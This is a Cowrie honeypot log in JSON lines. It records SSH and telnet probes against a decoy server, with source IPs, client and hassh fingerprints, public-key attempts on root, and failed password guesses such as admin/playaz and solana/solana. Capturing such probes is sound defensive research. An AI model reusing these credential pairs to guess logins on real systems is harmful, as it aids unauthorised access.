{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:5c:00:f5:94:52:e9:74:53:66:5f:9a:9c:cd:32:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoFcd6a1zJg5o33JFLnchtMH+o4AjCuOR+VUNMgtu9EXsu2JHTW54x9d7njudoghJ2/VvukYKQqt9ozhDSf488+9pCrizcrSfruEzY0vQlo2v3OkXV+JQjyQgiAJrzkUzW2aI+mDicoYveAmY3Twch2yQ77iQwOEhn+H2Hbm7lVU8GLLWvBGN32BYgLFX5vPh+BTj/bg9HbRRy+GnBRmmm6X7QRghdxHZN9yI93N9YXbS63INQqc05+SwLTcPYuL5zrTufleNBlQ6a4bQvJSKAUBuYO6dh0YBJt1+lWIPY2Ffq9SmRozNlbuXfcHC2PY/Mf6WwOqQoiWtMxfbc4lpF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:5c:00:f5:94:52:e9:74:53:66:5f:9a:9c:cd:32:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:25.059616Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:5c:00:f5:94:52:e9:74:53:66:5f:9a:9c:cd:32:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoFcd6a1zJg5o33JFLnchtMH+o4AjCuOR+VUNMgtu9EXsu2JHTW54x9d7njudoghJ2/VvukYKQqt9ozhDSf488+9pCrizcrSfruEzY0vQlo2v3OkXV+JQjyQgiAJrzkUzW2aI+mDicoYveAmY3Twch2yQ77iQwOEhn+H2Hbm7lVU8GLLWvBGN32BYgLFX5vPh+BTj/bg9HbRRy+GnBRmmm6X7QRghdxHZN9yI93N9YXbS63INQqc05+SwLTcPYuL5zrTufleNBlQ6a4bQvJSKAUBuYO6dh0YBJt1+lWIPY2Ffq9SmRozNlbuXfcHC2PY/Mf6WwOqQoiWtMxfbc4lpF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:25.065660Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:42:25.198649Z","src_ip":"89.45.12.110","session":"c21f8a6894c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":32121,"dst_ip":"10.17.0.5","dst_port":23,"session":"217d38c93f92","protocol":"telnet","message":"New connection: 212.55.149.117:32121 (10.17.0.5:23) [session: 217d38c93f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:43:17.488177Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27221,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e82add1dad7","protocol":"telnet","message":"New connection: 212.55.149.117:27221 (10.17.0.5:23) [session: 1e82add1dad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:43:50.990446Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27328,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9667c9abd16","protocol":"telnet","message":"New connection: 212.55.149.117:27328 (10.17.0.5:23) [session: b9667c9abd16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:44:11.842772Z"}
{"eventid":"cowrie.session.closed","duration":60.37819004058838,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:44:17.866211Z","src_ip":"212.55.149.117","session":"217d38c93f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37352,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f92746b88c3","protocol":"ssh","message":"New connection: 193.32.162.145:37352 (10.17.0.5:22) [session: 2f92746b88c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:44:24.899622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:44:24.938529Z","src_ip":"193.32.162.145","session":"2f92746b88c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:44:25.007847Z","src_ip":"193.32.162.145","session":"2f92746b88c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:44:25.414807Z","src_ip":"193.32.162.145","session":"2f92746b88c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:44:26.522054Z","src_ip":"193.32.162.145","session":"2f92746b88c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.97681784629822,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:44:48.967159Z","src_ip":"212.55.149.117","session":"1e82add1dad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":10990,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab0d8b6db09","protocol":"ssh","message":"New connection: 2.57.121.112:10990 (159.203.135.109:22) [session: dab0d8b6db09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:38.488490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:38.493311Z","src_ip":"2.57.121.112","session":"dab0d8b6db09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:38.593426Z","src_ip":"2.57.121.112","session":"dab0d8b6db09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"playaz","message":"login attempt [admin/playaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:39.067307Z","src_ip":"2.57.121.112","session":"dab0d8b6db09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"plate","message":"login attempt [admin/plate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:40.171115Z","src_ip":"2.57.121.112","session":"dab0d8b6db09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pitufo","message":"login attempt [admin/pitufo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:41.274969Z","src_ip":"2.57.121.112","session":"dab0d8b6db09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pittsbur","message":"login attempt [admin/pittsbur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:42.378594Z","src_ip":"2.57.121.112","session":"dab0d8b6db09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pioneers","message":"login attempt [admin/pioneers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:43.482721Z","src_ip":"2.57.121.112","session":"dab0d8b6db09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:45:44.586834Z","src_ip":"2.57.121.112","session":"dab0d8b6db09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00236058235168,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:11.844992Z","src_ip":"212.55.149.117","session":"b9667c9abd16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57002,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4da8695d54b","protocol":"ssh","message":"New connection: 193.32.162.145:57002 (10.17.0.5:22) [session: a4da8695d54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:40.975959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:40.981077Z","src_ip":"193.32.162.145","session":"a4da8695d54b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:41.078249Z","src_ip":"193.32.162.145","session":"a4da8695d54b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:41.384762Z","src_ip":"193.32.162.145","session":"a4da8695d54b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:42.484802Z","src_ip":"193.32.162.145","session":"a4da8695d54b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":21540,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e3a40989c7","protocol":"ssh","message":"New connection: 31.57.216.16:21540 (159.203.135.109:22) [session: e3e3a40989c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:50.009864Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:50.017903Z","src_ip":"31.57.216.16","session":"e3e3a40989c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":21542,"dst_ip":"159.203.135.109","dst_port":22,"session":"19499b7323dc","protocol":"ssh","message":"New connection: 31.57.216.16:21542 (159.203.135.109:22) [session: 19499b7323dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:50.176826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:50.183062Z","src_ip":"31.57.216.16","session":"19499b7323dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:50.292533Z","src_ip":"31.57.216.16","session":"19499b7323dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:50.501705Z","src_ip":"31.57.216.16","session":"19499b7323dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:46:51.610198Z","src_ip":"31.57.216.16","session":"19499b7323dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24582,"dst_ip":"10.17.0.5","dst_port":23,"session":"56e415c01423","protocol":"telnet","message":"New connection: 212.55.149.117:24582 (10.17.0.5:23) [session: 56e415c01423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:47:22.954454Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65057,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6da16c96593","protocol":"telnet","message":"New connection: 212.55.149.117:65057 (10.17.0.5:23) [session: d6da16c96593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:47:25.923172Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.38.174","src_port":39902,"dst_ip":"10.17.0.5","dst_port":22,"session":"215b90c93c87","protocol":"ssh","message":"New connection: 104.243.38.174:39902 (10.17.0.5:22) [session: 215b90c93c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.125915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.130602Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.137028Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:57:8f:b3:79:87:82:7d:e7:ae:e9:be:e0:33:2a:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV9IbqljJ+IAInAs6Z3vw1ZnxYAgoB7Bwn+c20acr6AaN2Vzy0kYqAm3LUPRjff9MuLmUJTWVEWnDMru1ggPGv3+t8gPWZYg+yjcQCCZbGUXxIfFCRBnZTA/Lylt0DeA5G2OyN/UTIL0TPekWxsmU8EhxpWw2cgIqw+YaoSvIyT874YV67KZ1W3/NXuvUdSJ0eRsX/IvMvWsAjHxgQDnk+oBc4fQWDAoFtjesbc8akpNbwkBBFlEvFpaR9DmG/HL6bhzR0eImpQFH3o/Ke82+SyIQFXRQIusx7H/hgsqKfVA/Qbi2fQPlP8rMHVg5+4fVFkIpKBUoJcuyBx/Luhuof","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:57:8f:b3:79:87:82:7d:e7:ae:e9:be:e0:33:2a:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.152972Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:57:8f:b3:79:87:82:7d:e7:ae:e9:be:e0:33:2a:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV9IbqljJ+IAInAs6Z3vw1ZnxYAgoB7Bwn+c20acr6AaN2Vzy0kYqAm3LUPRjff9MuLmUJTWVEWnDMru1ggPGv3+t8gPWZYg+yjcQCCZbGUXxIfFCRBnZTA/Lylt0DeA5G2OyN/UTIL0TPekWxsmU8EhxpWw2cgIqw+YaoSvIyT874YV67KZ1W3/NXuvUdSJ0eRsX/IvMvWsAjHxgQDnk+oBc4fQWDAoFtjesbc8akpNbwkBBFlEvFpaR9DmG/HL6bhzR0eImpQFH3o/Ke82+SyIQFXRQIusx7H/hgsqKfVA/Qbi2fQPlP8rMHVg5+4fVFkIpKBUoJcuyBx/Luhuof","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.159256Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:f9:99:6d:95:fd:64:43:6a:7c:2a:31:7f:7b:f1:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClek7bA9sZN5L0yYpYGRywpdTy7huICg2UdtcC+ALl7YE2AU1ruOvKtpQyI8m08FJNLlXYljvnjBRyX9RXnZ0LdMoPhZ0AkeaoDRB8roch58N6qA8frj6LavJ8V4uMbNdrxf393LubT77O/RJrFhEMA015OzmYtJ3MDD3Dj1xpdHxfPkI9xLE6/HhGLhRhKN46fC699S7g1tayyC73s8sfxa/uRzOVyYD534+SKlIyGue+8ImLM2/7PeOzfy8pTwkT13WLKhFG/svL23zq63F72O6P83e1fYa/3v4aJqCFp86WV7SG6xZ4S2a97wl3SNjdAM0isFmlTXZpNSsF5UtCrNJ0r9PybVEO0MnZ+efR3Kv12bO91SuD38N8ykc4jncNnuLenI0UUDieefHdpf3Tf+RhHh3iAh3+AwlqEBkt7jKry06QdtteAEL+z3M/EYFTob6aVCm+1VwNQQjpzpEr7A/PL7HzlBljoaG4equ06FQtcq5wD78ta2M8Wl5mwijYfaxVh1QlBmac1IgUis/Q+6zcymMo1HPbslSr4WKxXSkk44+FpY5ugn5q6RTf1O/S3TKIlMSi1DrRPs4vc2LaUajxB9DaxoPA7DSC/p+qyXi7O7HEIA7mYhGKNCJBAkmLqrzsCPXiFHfZFh5oKdgzxNVsIskpk4s3qE8UWQx+Gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:f9:99:6d:95:fd:64:43:6a:7c:2a:31:7f:7b:f1:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:48:01.166104Z","src_ip":"104.243.38.174","session":"215b90c93c87","protocol":"ssh"}
